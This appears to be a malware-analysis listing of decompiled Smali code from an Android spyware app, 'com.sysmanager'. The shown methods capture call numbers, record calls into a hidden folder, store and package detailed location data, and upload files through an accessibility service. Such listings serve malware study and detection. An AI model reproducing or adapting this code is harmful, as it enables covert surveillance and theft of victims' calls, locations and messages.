114invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
115move-result-object v6
116move-object v0, p1
118invoke-static/range {v0 .. v6}, Lcom/sysmanager/network/HTTPUtility;->doFileUpload(Ljava/io/File;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/content/Context;)Z
119move-result v8
120if-eqz v8, :cond_2b
121iget v0, p0, Lcom/sysmanager/system/AndroidAccessibility;->cont:I
122add-int/lit8 v0, v0, -0x1
123iput v0, p0, Lcom/sysmanager/system/AndroidAccessibility;->cont:I
124iget v0, p0, Lcom/sysmanager/system/AndroidAccessibility;->cont:I
125if-nez v0, :cond_2b
127invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
128move-result-object v0
130invoke-static {v0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
131move-result-object v0
133const-string v1, "col21"
135invoke-virtual {v0, v1, v10}, Lcom/sysmanager/storage/Settings;->setValue(Ljava/lang/String;I)V
137const-string v0, "whatsappYES"
139invoke-virtual {p0}, Lcom/sysmanager/system/AndroidAccessibility;->getApplicationContext()Landroid/content/Context;
140move-result-object v1
142const-string v2, "A70"
144invoke-static {v0, v1, v2}, Lcom/sysmanager/network/HTTPUtility;->InvioCommandoPresenza(Ljava/lang/String;Landroid/content/Context;Ljava/lang/String;)V
145goto/16 :goto_2b
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • android.content.Intent.getExtras
  • android.os.Bundle.getString
  • android.content.Intent.getExtras
  • android.os.Bundle.getString
  • android.content.Intent.getExtras
  • android.os.Bundle.getString
  • java.lang.String.equals
  • android.content.Intent.<init>
  • android.content.Context.startService
  • android.content.Intent.<init>
  • android.content.Context.startService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • android.content.Intent.<init>
  • android.content.Context.stopService
Strings
  • android.intent.action.NEW_OUTGOING_CALL
  • android.intent.extra.PHONE_NUMBER
  • state
  • incoming_number
  • col05
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
3const/4 v5, 0x1
5invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
6move-result-object v3
8const-string v4, "android.intent.action.NEW_OUTGOING_CALL"
10invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
11move-result v3
12if-eqz v3, :cond_1a
14invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
15move-result-object v3
17const-string v4, "android.intent.extra.PHONE_NUMBER"
19invoke-virtual {v3, v4}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
20move-result-object v3
21sput-object v3, Lcom/sysmanager/CallReceiver;->mSavedNumber:Ljava/lang/String;
22cond_19: return-void
23cond_1a:
24invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
25move-result-object v3
27const-string v4, "state"
29invoke-virtual {v3, v4}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
30move-result-object v2
32invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
33move-result-object v3
35const-string v4, "incoming_number"
37invoke-virtual {v3, v4}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;
38move-result-object v0
39const/4 v1, 0x0
40if-eqz v2, :cond_3a
42sget-object v3, Landroid/telephony/TelephonyManager;->EXTRA_STATE_IDLE:Ljava/lang/String;
44invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
45move-result v3
46if-eqz v3, :cond_44
47const/4 v1, 0x0
48cond_3a: sget v3, Lcom/sysmanager/CallReceiver;->mLastState:I
49if-eq v3, v1, :cond_19
50packed-switch v1, :pswitch_data_ca
51goto_41: sput v1, Lcom/sysmanager/CallReceiver;->mLastState:I
52goto/16 :goto_19
53cond_44:
54sget-object v3, Landroid/telephony/TelephonyManager;->EXTRA_STATE_OFFHOOK:Ljava/lang/String;
56invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
57move-result v3
58if-eqz v3, :cond_4e
59const/4 v1, 0x2
60goto/16 :goto_3a
61cond_4e:
62sget-object v3, Landroid/telephony/TelephonyManager;->EXTRA_STATE_RINGING:Ljava/lang/String;
64invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
65move-result v3
66if-eqz v3, :cond_3a
67const/4 v1, 0x1
68goto/16 :goto_3a
69pswitch_58: sput-boolean v5, Lcom/sysmanager/CallReceiver;->isIncoming:Z
70sput-object v0, Lcom/sysmanager/CallReceiver;->mSavedNumber:Ljava/lang/String;
71goto/16 :goto_41
72pswitch_5d: sget v3, Lcom/sysmanager/CallReceiver;->mLastState:I
73if-eq v3, v5, :cond_6f
74const/4 v3, 0x0
75sput-boolean v3, Lcom/sysmanager/CallReceiver;->isIncoming:Z
76new-instance v3, Landroid/content/Intent;
77const-class v4, Lcom/sysmanager/system/AndroidSystemService;
79invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
81invoke-virtual {p1, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
82goto/16 :goto_41
83cond_6f: sput-boolean v5, Lcom/sysmanager/CallReceiver;->isIncoming:Z
84new-instance v3, Landroid/content/Intent;
85const-class v4, Lcom/sysmanager/system/AndroidSystemService;
87invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
89invoke-virtual {p1, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
90goto/16 :goto_41
91pswitch_7c: sget v3, Lcom/sysmanager/CallReceiver;->mLastState:I
92if-ne v3, v5, :cond_97
94invoke-static {p1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
95move-result-object v3
97const-string v4, "col05"
99invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
100move-result v3
101if-eq v3, v5, :cond_41
102new-instance v3, Landroid/content/Intent;
103const-class v4, Lcom/sysmanager/system/AndroidSystemService;
105invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
107invoke-virtual {p1, v3}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
108goto/16 :goto_41
109cond_97: sget-boolean v3, Lcom/sysmanager/CallReceiver;->isIncoming:Z
110if-eqz v3, :cond_b2
112invoke-static {p1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
113move-result-object v3
115const-string v4, "col05"
117invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
118move-result v3
119if-eq v3, v5, :cond_41
120new-instance v3, Landroid/content/Intent;
121const-class v4, Lcom/sysmanager/system/AndroidSystemService;
123invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
125invoke-virtual {p1, v3}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
126goto/16 :goto_41
127cond_b2:
128invoke-static {p1}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
129move-result-object v3
131const-string v4, "col05"
133invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
134move-result v3
135if-eq v3, v5, :cond_41
136new-instance v3, Landroid/content/Intent;
137const-class v4, Lcom/sysmanager/system/AndroidSystemService;
139invoke-direct {v3, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
141invoke-virtual {p1, v3}, Landroid/content/Context;->stopService(Landroid/content/Intent;)Z
142goto/16 :goto_41
Cross References
APIs
  • com.sysmanager.storage.FileSend.getWritableDatabase
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.insert
  • com.sysmanager.Scontext.getContext
Strings
  • col02
  • col03
  • col04
  • col05
  • col06
  • col07
  • col08
  • col09
  • col10
  • col11
  • col12
  • col13
  • col14
  • tab2
Position Instruction Meta Information
0.param p1, "Pos" # Lcom/sysmanager/storage/PositionVar;
1.prologue
2monitor-enter p0
3const-wide/16 v2, -0x1
4try_start_3:
5invoke-virtual {p0}, Lcom/sysmanager/storage/FileSend;->getWritableDatabase()Landroid/database/sqlite/SQLiteDatabase;
6try_end_6: move-result-object v0
7if-eqz p1, :cond_f2
8try_start_9: new-instance v4, Landroid/content/ContentValues;
10invoke-direct {v4}, Landroid/content/ContentValues;-><init>()V
12const-string v5, "col02"
14invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
15move-result-object v6
17invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getLat()Ljava/lang/String;
18move-result-object v7
20invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
21move-result-object v6
23invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
25const-string v5, "col03"
27invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
28move-result-object v6
30invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getLon()Ljava/lang/String;
31move-result-object v7
33invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
34move-result-object v6
36invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
38const-string v5, "col04"
40invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
41move-result-object v6
43invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getPos()Ljava/lang/String;
44move-result-object v7
46invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
47move-result-object v6
49invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
51const-string v5, "col05"
53invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
54move-result-object v6
56invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getSpeed()Ljava/lang/String;
57move-result-object v7
59invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
60move-result-object v6
62invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
64const-string v5, "col06"
66invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
67move-result-object v6
69invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getAcc()Ljava/lang/String;
70move-result-object v7
72invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
73move-result-object v6
75invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
77const-string v5, "col07"
79invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
80move-result-object v6
82invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getAlt()Ljava/lang/String;
83move-result-object v7
85invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
86move-result-object v6
88invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
90const-string v5, "col08"
92invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
93move-result-object v6
95invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getTimestamp()Ljava/lang/String;
96move-result-object v7
98invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
99move-result-object v6
101invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
103const-string v5, "col09"
105invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
106move-result-object v6
108invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getCity()Ljava/lang/String;
109move-result-object v7
111invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
112move-result-object v6
114invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
116const-string v5, "col10"
118invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
119move-result-object v6
121invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getAddress()Ljava/lang/String;
122move-result-object v7
124invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
125move-result-object v6
127invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
129const-string v5, "col11"
131invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
132move-result-object v6
134invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getCountryCode()Ljava/lang/String;
135move-result-object v7
137invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
138move-result-object v6
140invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
142const-string v5, "col12"
144invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
145move-result-object v6
147invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getCountryName()Ljava/lang/String;
148move-result-object v7
150invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
151move-result-object v6
153invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
155const-string v5, "col13"
157invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
158move-result-object v6
160invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getPostalCode()Ljava/lang/String;
161move-result-object v7
163invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
164move-result-object v6
166invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
168const-string v5, "col14"
170invoke-static {}, Lcom/sysmanager/costanti/Costanti;->getKey()Ljava/lang/String;
171move-result-object v6
173invoke-virtual {p1}, Lcom/sysmanager/storage/PositionVar;->getRegione()Ljava/lang/String;
174move-result-object v7
176invoke-static {v6, v7}, Lcom/sysmanager/cryptoutils/CryptoUtils;->encryptString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
177move-result-object v6
179invoke-virtual {v4, v5, v6}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
181const-string v5, "tab2"
182const/4 v6, 0x0
184invoke-virtual {v0, v5, v6, v4}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
185try_end_f1: move-result-wide v2
186goto_f2: monitor-exit p0
187return-wide v2
188catch_f4: move-exception v1
189try_start_f5:
190invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
191move-result-object v5
193invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
194move-result-object v6
196invoke-static {v5, v6}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
197try_end_100: goto/16 :goto_f2
198catchall_101: move-exception v5
199monitor-exit p0
200throw v5
Cross References
APIs
  • android.media.MediaRecorder.stop
  • android.media.MediaRecorder.reset
  • android.media.MediaRecorder.release
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.lang.StringBuilder.<init>
  • com.sysmanager.system.AndroidSystemService.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.isCallRecording
  • com.sysmanager.system.AndroidSystemService.copy64
  • java.io.File.delete
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
  • com.sysmanager.storage.FileSend.getInstance
  • com.sysmanager.storage.FileSend.deleteCall
  • android.content.Intent.<init>
  • com.sysmanager.system.AndroidSystemService.startService
  • com.sysmanager.system.AndroidSystemService.getApplicationContext
Strings
  • /temp/
  • /.cachel1/
Position Instruction Meta Information
0.prologue
1monitor-enter p0
2try_start_1:
3iget-object v4, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
4if-eqz v4, :cond_17
6iget-object v4, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
8invoke-virtual {v4}, Landroid/media/MediaRecorder;->stop()V
10iget-object v4, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
12invoke-virtual {v4}, Landroid/media/MediaRecorder;->reset()V
14iget-object v4, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
16invoke-virtual {v4}, Landroid/media/MediaRecorder;->release()V
17const/4 v4, 0x0
18iput-object v4, p0, Lcom/sysmanager/system/AndroidSystemService;->mRecorder:Landroid/media/MediaRecorder;
19cond_17: new-instance v3, Ljava/io/File;
20new-instance v4, Ljava/lang/StringBuilder;
22invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
24invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getFilesDir()Ljava/io/File;
25move-result-object v5
27invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
28move-result-object v4
30const-string v5, "/temp/"
32invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
33move-result-object v4
35iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
37invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
38move-result-object v4
40invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
41move-result-object v4
43invoke-direct {v3, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
44new-instance v0, Ljava/io/File;
45new-instance v4, Ljava/lang/StringBuilder;
47invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
49invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getFilesDir()Ljava/io/File;
50move-result-object v5
52invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
53move-result-object v4
55const-string v5, "/.cachel1/"
57invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
58move-result-object v4
60iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
62invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
63move-result-object v4
65invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
66move-result-object v4
68invoke-direct {v0, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
70invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
71move-result-object v4
73invoke-static {v4}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
74move-result-object v4
76iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
78invoke-virtual {v4, v5}, Lcom/sysmanager/storage/FileSend;->isCallRecording(Ljava/lang/String;)Z
79move-result v2
81invoke-direct {p0, v3, v0, v2}, Lcom/sysmanager/system/AndroidSystemService;->copy64(Ljava/io/File;Ljava/io/File;Z)Z
82move-result v4
83if-eqz v4, :cond_89
85invoke-virtual {v3}, Ljava/io/File;->delete()Z
87invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
88move-result-object v4
90invoke-static {v4}, Lcom/sysmanager/storage/FileSend;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/FileSend;
91move-result-object v4
93iget-object v5, p0, Lcom/sysmanager/system/AndroidSystemService;->mFileName:Ljava/lang/String;
95invoke-virtual {v4, v5}, Lcom/sysmanager/storage/FileSend;->deleteCall(Ljava/lang/String;)Z
96new-instance v4, Landroid/content/Intent;
97const-class v5, Lcom/sysmanager/system/AndroidAlarmManager;
99invoke-direct {v4, p0, v5}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
101invoke-virtual {p0, v4}, Lcom/sysmanager/system/AndroidSystemService;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
102cond_89: const/4 v4, 0x0
103iput-boolean v4, p0, Lcom/sysmanager/system/AndroidSystemService;->mIsRecording:Z
104try_end_8c: const/4 v4, 0x1
105monitor-exit p0
106return v4
107catch_8f: move-exception v1
108try_start_90:
109invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemService;->getApplicationContext()Landroid/content/Context;
110move-result-object v4
112invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
113move-result-object v5
115invoke-static {v4, v5}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
116try_end_9b: goto/16 :goto_8c
117catchall_9c: move-exception v4
118monitor-exit p0
119throw v4
Cross References
APIs
  • org.json.JSONObject.<init>
  • org.json.JSONObject.put
Strings
  • serialnumber
  • A70
  • lat
  • lon
  • pos
  • acc
  • alt
  • speed
  • timestamp
  • city
  • address
  • countrycode
  • countryname
  • postalcode
  • regione
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Throws;
1value = {
2Lorg/json/JSONException;
3}
4.end annotation
5.prologue
6new-instance v0, Lorg/json/JSONObject;
8invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
10const-string v1, "serialnumber"
12const-string v2, "A70"
14invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
16const-string v1, "lat"
18invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getLat()Ljava/lang/String;
19move-result-object v2
21invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
23const-string v1, "lon"
25invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getLon()Ljava/lang/String;
26move-result-object v2
28invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
30const-string v1, "pos"
32invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getPos()Ljava/lang/String;
33move-result-object v2
35invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
37const-string v1, "acc"
39invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getAcc()Ljava/lang/String;
40move-result-object v2
42invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
44const-string v1, "alt"
46invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getAlt()Ljava/lang/String;
47move-result-object v2
49invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
51const-string v1, "speed"
53invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getSpeed()Ljava/lang/String;
54move-result-object v2
56invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
58const-string v1, "timestamp"
60invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getTimestamp()Ljava/lang/String;
61move-result-object v2
63invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
65const-string v1, "city"
67invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getCity()Ljava/lang/String;
68move-result-object v2
70invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
72const-string v1, "address"
74invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getAddress()Ljava/lang/String;
75move-result-object v2
77invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
79const-string v1, "countrycode"
81invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getCountryCode()Ljava/lang/String;
82move-result-object v2
84invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
86const-string v1, "countryname"
88invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getCountryName()Ljava/lang/String;
89move-result-object v2
91invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
93const-string v1, "postalcode"
95invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getPostalCode()Ljava/lang/String;
96move-result-object v2
98invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
100const-string v1, "regione"
102invoke-virtual {p0}, Lcom/sysmanager/storage/PositionVar;->getRegione()Ljava/lang/String;
103move-result-object v2
105invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
106return-object v0
Cross References
APIs
  • java.io.File.exists
  • java.io.File.isDirectory
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.IOException.<init>
  • java.io.File.canWrite
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.IOException.<init>
  • java.io.File.getParentFile
  • java.io.File.mkdirs
  • java.io.File.isDirectory
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.IOException.<init>
  • java.io.FileOutputStream.<init>
Strings
  • File \'
  • \' exists but is a directory
  • \' cannot be written to
  • Directory \'
  • \' could not be created
Position Instruction Meta Information
0.param p0, "file" # Ljava/io/File;
1.param p1, "append" # Z
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/io/IOException;
5}
6.end annotation
7.prologue
9invoke-virtual {p0}, Ljava/io/File;->exists()Z
10move-result v1
11if-eqz v1, :cond_50
13invoke-virtual {p0}, Ljava/io/File;->isDirectory()Z
14move-result v1
15if-eqz v1, :cond_2b
16new-instance v1, Ljava/io/IOException;
17new-instance v2, Ljava/lang/StringBuilder;
19invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
21const-string v3, "File \'"
23invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v2
26invoke-virtual {v2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
27move-result-object v2
29const-string v3, "\' exists but is a directory"
31invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
32move-result-object v2
34invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
35move-result-object v2
37invoke-direct {v1, v2}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
38throw v1
39cond_2b:
40invoke-virtual {p0}, Ljava/io/File;->canWrite()Z
41move-result v1
42if-nez v1, :cond_81
